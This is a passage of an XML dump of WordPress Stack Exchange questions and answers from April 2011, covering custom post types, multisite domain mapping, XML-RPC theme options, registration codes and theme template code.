LastActivityDate="2011-04-27T09:46:42.047" Title="How is a student directory best handled in WordPress?" Tags="&lt;directory&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="15531" PostTypeId="1" CreationDate="2011-04-25T01:08:31.043" Score="0" ViewCount="116" Body="&lt;p&gt;Is there a buddpress / wordpress plugin that will allow visitors to sign up to multiple sites during registration? These people seem to have done it: &lt;a href=&quot;http://injersey.com/join-injersey/&quot; rel=&quot;nofollow&quot;&gt;http://injersey.com/join-injersey/&lt;/a&gt;&#xA;If such a plugin does not exist, could you please tell me which hooks I should be looking at to create this feature? I thank you in advance.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-28T00:35:42.493" Title="Can a visitor sign up for multiple sites at once?" Tags="&lt;buddypress&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="15532" PostTypeId="2" ParentId="15530" CreationDate="2011-04-25T04:19:57.430" Score="2" ViewCount="" Body="&lt;p&gt;You could create a &lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;custom post type&lt;/a&gt; 'student', with &lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;post thumbnails&lt;/a&gt; for the images. The post title would be their name, post content would be the blurb. If the code scares you, there are &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt; to assist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Taxonomies#Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;Taxonomies&lt;/a&gt; are also available to you, which operate like categories and tags, but can be any set of attributes or means of grouping.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-25T04:19:57.430" CommentCount="2" />
  <row Id="15533" PostTypeId="2" ParentId="15531" CreationDate="2011-04-25T05:38:46.140" Score="0" ViewCount="" Body="&lt;p&gt;If you're talking about multisite, yes. It's called &lt;a href=&quot;http://github.com/thenbrent/multisite-user-management&quot; rel=&quot;nofollow&quot;&gt;Multisite User Management&lt;/a&gt;. Basically it allows to set default roles for new users on any sites in a multisite blog (a different one for each, if you like) that are applied when they register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it on a couple of my sites; works fine.&lt;/p&gt;&#xA;" OwnerUserId="3563" LastActivityDate="2011-04-25T05:38:46.140" CommentCount="1" />
  <row Id="15534" PostTypeId="1" AcceptedAnswerId="15549" CreationDate="2011-04-25T05:40:50.843" Score="2" ViewCount="107" Body="&lt;p&gt;I can't seem to find such an option listed here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/XML-RPC_wp#wp.setOptions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/XML-RPC_wp#wp.setOptions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-04-25T16:53:46.580" Title="Is it possible to change a blog's theme through XML-RPC command? (and if so how?)" Tags="&lt;xml-rpc&gt;" AnswerCount="1" />
  <row Id="15535" PostTypeId="1" CreationDate="2011-04-25T06:45:52.790" Score="0" ViewCount="76" Body="&lt;p&gt;There are a lot of WP plugins for referrals and different ones for generating registration codes for restricted registration pages, but I'm looking for a hybrid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my WP-powered community is completely closed and you can only get in by being invited by other members. Just like Gmail in the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best would be if a registered user could just fill in an email and that address would receive a registration link with a unique one-time registration code.&#xA;Once that referral / new user would have registered I would like to display by which user this person was invited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I haven't found any suitable plugins for this, even though it sounds like a quite standard situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who can give me some advice? Help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4865" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-25T17:03:29.440" LastActivityDate="2011-08-30T20:29:12.763" Title="Creating a Closed Wordpress Community Using Referral Codes" Tags="&lt;registration&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15536" PostTypeId="2" ParentId="15521" CreationDate="2011-04-25T07:30:18.367" Score="0" ViewCount="" Body="&lt;p&gt;Not easy to do. You can create redirect template and assign templates based on page ID &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    if (is_page('629')) { include(TEMPLATEPATH . '/pages/homepage.php');}&#xA;    elseif (is_page('186')) { include(TEMPLATEPATH . '/pages/generalpage.php');}&#xA;    else { include(TEMPLATEPATH . '/pages/defaultpage.php');&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wordpress.org/support/topic/subdirectories-for-page-templates-sidebars-and-singles?replies=12&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for more details&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-04-25T07:30:18.367" />
  <row Id="15537" PostTypeId="2" ParentId="15523" CreationDate="2011-04-25T07:38:12.817" Score="2" ViewCount="" Body="&lt;p&gt;I think SexyBookmarks is the best  &lt;a href=&quot;http://wordpress.org/extend/plugins/sexybookmarks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sexybookmarks/&lt;/a&gt;. There are some others&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sem-bookmark-me/&quot; rel=&quot;nofollow&quot;&gt;Bookmark Me&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-social-bookmarks/&quot; rel=&quot;nofollow&quot;&gt;Simple Social Bookmarks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-04-25T07:38:12.817" CommentCount="1" />
  <row Id="15538" PostTypeId="1" AcceptedAnswerId="15540" CreationDate="2011-04-25T08:45:57.363" Score="0" ViewCount="64" Body="&lt;p&gt;Using 3.1.1 with debug on, I am getting following notice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined variable: _POST in &amp;lt;filepath&amp;gt; on line 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code at line 1000 is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $_POST&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why am I getting this notice? How can I remove this particular notice?&lt;/p&gt;&#xA;" OwnerUserId="4314" LastActivityDate="2011-04-25T11:24:13.560" Title="Undefined variable _POST" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;php&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="15540" PostTypeId="2" ParentId="15538" CreationDate="2011-04-25T11:24:13.560" Score="0" ViewCount="" Body="&lt;p&gt;First check if it is a non-empty POST request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'POST' == $_SERVER['REQUEST_METHOD'] and ! empty ( $_POST )&#xA;{   // don't forget to sanitize these data!&#xA;    $data = $_POST;&#xA;}&#xA;else&#xA;{&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-25T11:24:13.560" />
  <row Id="15541" PostTypeId="2" ParentId="15511" CreationDate="2011-04-25T11:32:38.280" Score="1" ViewCount="" Body="&lt;p&gt;I figured it out on my own -- the code snippet I needed to follow is &lt;a href=&quot;http://justintadlock.com/archives/2010/07/10/meta-capabilities-for-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Justin Tadlock is the man.&lt;/p&gt;&#xA;" OwnerUserId="4858" LastActivityDate="2011-04-25T11:32:38.280" />
  <row Id="15542" PostTypeId="1" AcceptedAnswerId="15548" CreationDate="2011-04-25T11:45:13.953" Score="4" ViewCount="233" Body="&lt;p&gt;i am new to multisite. It is a simple question. I know WordPress multisite can be setup for subdomains. Is it possible to use domains along with subdomains? I have searched google but have not had really good results. Perhaps I have used the wrong keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;so i can use a single wordpress installation for:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub1.domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub2.domain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example2.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub1.example2com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you get it. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T11:58:34.343" LastActivityDate="2011-05-22T17:24:49.337" Title="WordPress Multisite. Can domain be used instead of subdomain?" Tags="&lt;multisite&gt;&lt;domain&gt;&lt;subdomains&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15544" PostTypeId="2" ParentId="15542" CreationDate="2011-04-25T12:23:23.120" Score="5" ViewCount="" Body="&lt;p&gt;Yes, you can. Follow this &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-25T12:23:23.120" />
  <row Id="15545" PostTypeId="1" CreationDate="2011-04-25T13:15:32.553" Score="0" ViewCount="106" Body="&lt;p&gt;Heres my site: &lt;a href=&quot;http://test99.info/&quot; rel=&quot;nofollow&quot;&gt;http://test99.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i create a drop down menu for the categories in the top menu(where it says Dogs, pittbulls, etc)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres my header.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&amp;lt;?php bloginfo('html_type'); ?&amp;gt;; charset=&amp;lt;?php bloginfo('charset'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;$zenverse_global_meta = get_option('zenverse_global_meta');&#xA;if ($zenverse_global_meta != '') { echo stripslashes($zenverse_global_meta); }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;title&amp;gt;&amp;lt;?php &#xA;if (is_home ()) { &#xA;echo get_bloginfo('name').' - '.get_bloginfo('description'); &#xA;} else {&#xA;wp_title('|', true, 'right');&#xA;echo get_bloginfo('name');&#xA;}&#xA;?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;!--PageNavi Stylesheet--&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;&amp;lt;?php bloginfo('template_url');?&amp;gt;/pagenavi-css.css&quot; /&amp;gt;&#xA;&amp;lt;!--End of PageNavi Stylesheet--&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt; RSS Feed&quot; href=&quot;&amp;lt;?php bloginfo('rss2_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/atom+xml&quot; title=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt; Atom Feed&quot; href=&quot;&amp;lt;?php bloginfo('atom_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;pingback&quot; href=&quot;&amp;lt;?php bloginfo('pingback_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/tabber.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/tabber.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/zenverse_gallery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/comments.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&#xA;&amp;lt;!--[if IE]&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;&amp;lt;?php bloginfo('template_url');?&amp;gt;/ie.css&quot; /&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&#xA;&amp;lt;!--WP Head--&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&amp;lt;!--End of WP Head--&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$zenverse_global_feedburner_url = get_option('zenverse_global_feedburner_url');&#xA;$deseries_wpfeed_dump = get_option('deseries_wpfeed_dump');&#xA;if ( $zenverse_global_feedburner_url != '' &amp;amp;&amp;amp; $deseries_wpfeed_dump == 'true') { &#xA;$deseries_rss_link = $zenverse_global_feedburner_url;&#xA;} else { &#xA;$deseries_rss_link = get_bloginfo('rss2_url');&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;a name=&quot;top&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;div id=&quot;pagenav&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;onethousand_wrap&quot;&amp;gt;&#xA;&amp;lt;!--&amp;lt;ul&amp;gt;&#xA;&amp;lt;li style=&quot;padding-left:10px;border:0px;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;--&amp;gt;&#xA;&amp;lt;?php wp_nav_menu(array('menu' =&amp;gt; 'top-menu')); ?&amp;gt;&#xA;&amp;lt;!--&amp;lt;/ul&amp;gt;--&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;topsearch&quot;&amp;gt;&#xA;&amp;lt;form style=&quot;display:inline&quot; method=&quot;get&quot; action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;s&quot; class=&quot;topsearch_input&quot; value=&quot;&amp;lt;?php the_search_query(); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;image&quot; class=&quot;topsearch_submit&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/top_search_submit.gif&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/onethousand_wrap--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/pagenav--&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;onethousand_wrap logo_extra&quot; style=&quot;position:relative;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$deseries_logo = get_option('deseries_logo');&#xA;$deseries_customlogo = get_option('deseries_customlogo');&#xA;&#xA;if ($deseries_logo == &quot;1&quot; &amp;amp;&amp;amp; $deseries_customlogo != '') { ?&amp;gt;&#xA;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot; title=&quot;&amp;lt;?php htmlspecialchars(bloginfo('name')); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $deseries_customlogo; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php htmlspecialchars(bloginfo('name')); ?&amp;gt;&quot; title=&quot;&amp;lt;?php htmlspecialchars(bloginfo('name')); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;!--h2&amp;gt;&amp;lt;?php bloginfo('description'); ?&amp;gt;&amp;lt;/h2--&amp;gt;&#xA;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;textlogo&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot; title=&quot;&amp;lt;?php htmlspecialchars(bloginfo('name')); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php bloginfo('description'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$zenverse_global_adsense_id = get_option('zenverse_global_adsense_id');&#xA;$deseries_adsense_header_enable = get_option('deseries_adsense_header_enable');&#xA;if ($zenverse_global_adsense_id &amp;amp;&amp;amp; $deseries_adsense_header_enable == 'true'){ &#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;adsense-header&quot;&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;google_ad_client = &quot;pub-&amp;lt;?php echo $zenverse_global_adsense_id; ?&amp;gt;&quot;;&#xA;google_ad_width = 468;&#xA;google_ad_height = 60;&#xA;google_ad_format = &quot;468x60_as&quot;;&#xA;google_ad_type = &quot;text&quot;;&#xA;google_ad_channel = &quot;&quot;;&#xA;google_color_border = &quot;d33557&quot;;&#xA;google_color_bg = &quot;d33557&quot;;&#xA;google_color_link = &quot;555555&quot;;&#xA;google_color_text = &quot;555555&quot;;&#xA;google_color_url = &quot;555555&quot;;&#xA;google_ui_features = &quot;rc:0&quot;;&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/onethousand_wrap--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/header--&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;navbar&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;onethousand_wrap&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;navbarwrap&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$zenverse_global_showcats = get_option('zenverse_global_showcats');&#xA;$zenverse_global_showcats_sortby = get_option('zenverse_global_showcats_sortby');&#xA;$zenverse_global_showcats_order = get_option('zenverse_global_showcats_order');&#xA;&#xA;$deseries_cat_sort_db = array('name','ID','slug ','count','term_group'); &#xA;$deseries_cat_order_db = array('ASC','DESC');&#xA;$addtionstr = '';&#xA;&#xA;if ($zenverse_global_showcats &amp;amp;&amp;amp; is_numeric(str_replace(',','',$zenverse_global_showcats)) ) {&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php if (is_home()) { ?&amp;gt;&#xA;        &amp;lt;li class=&quot;current-cat&quot;&amp;gt;&#xA;        &amp;lt;?php }else{ ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;if ($zenverse_global_showcats_order &amp;amp;&amp;amp; is_numeric($zenverse_global_showcats_order) &amp;amp;&amp;amp; $zenverse_global_showcats_order&amp;lt;2 &amp;amp;&amp;amp; $zenverse_global_showcats_order&amp;gt;=0) { $addtionstr .= '&amp;amp;order='.$deseries_cat_order_db[$zenverse_global_showcats_order]; } else { $addtionstr .= ''; }&#xA;&#xA;if ($zenverse_global_showcats_sortby &amp;amp;&amp;amp; is_numeric($zenverse_global_showcats_sortby) &amp;amp;&amp;amp; $zenverse_global_showcats_sortby&amp;lt;5 &amp;amp;&amp;amp; $zenverse_global_showcats_sortby&amp;gt;=0) { $addtionstr .= '&amp;amp;orderby='.$deseries_cat_sort_db[$zenverse_global_showcats_sortby]; } else { $addtionstr .= ''; }&#xA;&#xA;wp_list_categories('style=list&amp;amp;hierarchical=0&amp;amp;title_li=&amp;amp;include='.$zenverse_global_showcats.$addtionstr);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } else {&#xA;wp_nav_menu(array('menu' =&amp;gt; 'nav-menu'));&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/onethousand_wrap--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/navbar--&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;page&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4855" LastEditorUserId="4855" LastEditorDisplayName="" LastEditDate="2011-04-25T13:32:14.117" LastActivityDate="2011-08-27T14:35:27.937" Title="How can make a drop menu for categories in my top menu?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="15546" PostTypeId="1" CreationDate="2011-04-25T13:35:01.637" Score="3" ViewCount="387" Body="&lt;p&gt;I have a custom post type (CPT) called &lt;code&gt;event&lt;/code&gt;. I have a meta box for the type with several fields. I would like to validate some fields before publishing an event. For example, if an event's date is not specified I would like to display an informative error message, save the event for future editing, but prevent that event from being published. Is 'pending' status for an CPT post without all necessary info the right way to treat it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best practice to do CPT fields validation and prevent a post from being published, but save it for future editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-08-22T06:28:00.323" Title="don't publish custom post type post if a meta data field isn't valid" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;best-practices&gt;&lt;validation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" />
  <row Id="15548" PostTypeId="2" ParentId="15542" CreationDate="2011-04-25T13:45:26.830" Score="5" ViewCount="" Body="&lt;p&gt;&quot;example2.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub1.example2com&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually for subsites off of mapped sites, you want a multi network plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free - &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-multi-network/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-multi-network/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paid - &lt;a href=&quot;http://wpebooks.com/networks/&quot; rel=&quot;nofollow&quot;&gt;http://wpebooks.com/networks/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-04-25T13:45:26.830" CommentCount="2" />
  <row Id="15549" PostTypeId="2" ParentId="15534" CreationDate="2011-04-25T13:57:27.440" Score="2" ViewCount="" Body="&lt;p&gt;No, that option does not currently exist through XML-RPC.  However, you can always create your own method in a plugin and hook it up to XML-RPC.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's an upcoming &lt;a href=&quot;http://wordpress.org/gsoc/&quot; rel=&quot;nofollow&quot;&gt;Google Summer of Code&lt;/a&gt; project that will be extending the XML-RPC interface to allow direct manipulation of themes, so I won't give away code to implement that here.  But keep your ears and eyes open for when new code (core changes and/or plugins) start releasing this summer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, I will provide an alternative.  The set of options that you can view and set through XML-RPC is filterable.  Basically, you can tell the system to give you more information than it normally would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can already get (bold options are read only ... you can't change them with &lt;code&gt;wp.setOptions&lt;/code&gt; but you can retrieve them with &lt;code&gt;wp.getOptions&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;software_name&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;software_version&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;blog_url&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;content_width&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;time_zone&lt;/li&gt;&#xA;&lt;li&gt;blog_title&lt;/li&gt;&#xA;&lt;li&gt;blog_tagline&lt;/li&gt;&#xA;&lt;li&gt;date_format&lt;/li&gt;&#xA;&lt;li&gt;time_format&lt;/li&gt;&#xA;&lt;li&gt;users_can_register&lt;/li&gt;&#xA;&lt;li&gt;thumbnail_size_w&lt;/li&gt;&#xA;&lt;li&gt;thumbnail_size_h&lt;/li&gt;&#xA;&lt;li&gt;thumbnail_crop&lt;/li&gt;&#xA;&lt;li&gt;medium_size_w&lt;/li&gt;&#xA;&lt;li&gt;medium_size_h&lt;/li&gt;&#xA;&lt;li&gt;large_size_w&lt;/li&gt;&#xA;&lt;li&gt;large_size_h&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This list (actually, an array with other settings), is passed through the &lt;code&gt;xmlrpc_blog_options&lt;/code&gt; filter, which means you can add and remove to this list all you want.  To enable the fetching of the current theme by &lt;code&gt;wp.getOptions&lt;/code&gt; and the changing of the theme by &lt;code&gt;wp.setOptions&lt;/code&gt; you'd use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function allow_xmlrpc_theme_changes( $xmlrpcoptions ) {&#xA;    $xmlrpcoptions['active-theme'] = array(&#xA;        'desc'            =&amp;gt; __( 'Active site theme' ),&#xA;        'readonly'        =&amp;gt; false,&#xA;        'option'          =&amp;gt; 'template'&#xA;    );&#xA;&#xA;    $xmlrpcoptions['active-stylesheet'] = array(&#xA;        'desc'            =&amp;gt; __( 'Active site stylesheet' ),&#xA;        'readonly'        =&amp;gt; false,&#xA;        'option'          =&amp;gt; 'stylesheet'&#xA;    );&#xA;&#xA;    return $xmlrpcoptions&#xA;}&#xA;&#xA;add_filter( 'xmlrpc_blog_options', 'allow_xmlrpc_theme_changes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds two fields that you can set: &quot;active-theme&quot; and &quot;active-stylesheet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, you'll be setting these options the same way as you would using &lt;code&gt;update_option()&lt;/code&gt;, so &lt;a href=&quot;http://codex.wordpress.org/Option_Reference#Themes&quot; rel=&quot;nofollow&quot;&gt;double check the codex&lt;/a&gt; before doing anything.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-04-25T16:53:46.580" LastActivityDate="2011-04-25T16:53:46.580" CommentCount="5" />
  <row Id="15550" PostTypeId="2" ParentId="15545" CreationDate="2011-04-25T15:02:08.343" Score="0" ViewCount="" Body="&lt;p&gt;You could use &quot;wp_dropdown_categories&quot; insted of &quot;wp_list_categories&quot; — this will create a dropdown:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-04-25T15:02:08.343" CommentCount="1" />
